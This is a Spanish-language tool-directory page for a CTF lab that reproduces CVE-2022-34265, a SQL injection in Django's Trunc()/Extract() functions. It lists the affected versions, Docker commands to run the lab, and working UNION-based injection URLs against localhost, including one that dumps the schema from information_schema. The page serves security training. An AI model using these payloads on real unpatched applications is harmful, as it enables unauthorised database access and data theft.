Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CTF_Django_CVE-2022-34265 | Kitploit
Herramientas/GitHubGitHub/lnwza0x0a/ctf_django_cve-2022-34265
Análisis de VulnerabilidadesExplotación de Aplicaciones WebCTFAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHublnwza0x0a/ctf_django_cve-2022-34265

CTF_Django_CVE-2022-34265

Ver Repositorio
1hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CTF_CVE-2022-34265

Descripción

Se descubrió un problema en Django 3.2 anterior a 3.2.14 y 4.0 anterior a 4.0.6. Las funciones de base de datos Trunc() y Extract() son susceptibles a inyección SQL si se utilizan datos no confiables como valor del parámetro kind/lookup_name. Las aplicaciones que restringen el nombre de búsqueda y la elección de tipo a una lista segura conocida no se ven afectadas.

Cómo usar

Iniciar

root@kitploit:~
git clone https://github.com/coco0x0a/CTF_CVE-2022-34265
cd CVE-2022-34265
sudo docker-compose up -d

Verificar el estado

root@kitploit:~
sudo docker ps

Eliminar

root@kitploit:~
sudo docker-compose down

Versiones afectadas

  • Django>= 3.2, < 3.2.14

  • Django >= 4.0, < 4.0.6

Versiones parcheadas

  • Django 3.2.14

  • Django 4.0.6

Verificación

Entorno

  • Django 4.0.5
  • Python 3.8.13
  • MySQL 5.7

Inyección SQL

usando UNION

root@kitploit:~
http://127.0.0.1:8000/extract/?lookup_name=year%20FROM%20start_datetime))%20OR%201=1%20UNION%20SELECT%201--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, 2, 3, 4, 5, 6, 7--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT "TEST", now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT CONCAT(table_name, '~', column_name), now(), now(), now(), now(), now(), now() FROM information_schema.columns--

image

Referencias

https://github.com/aeyesec/CVE-2022-34265

https://github.com/ZhaoQi99/CVE-2022-34265

https://github.com/suksit/writeups/tree/main/secplayground/half-year-event-2022

Descargar herramienta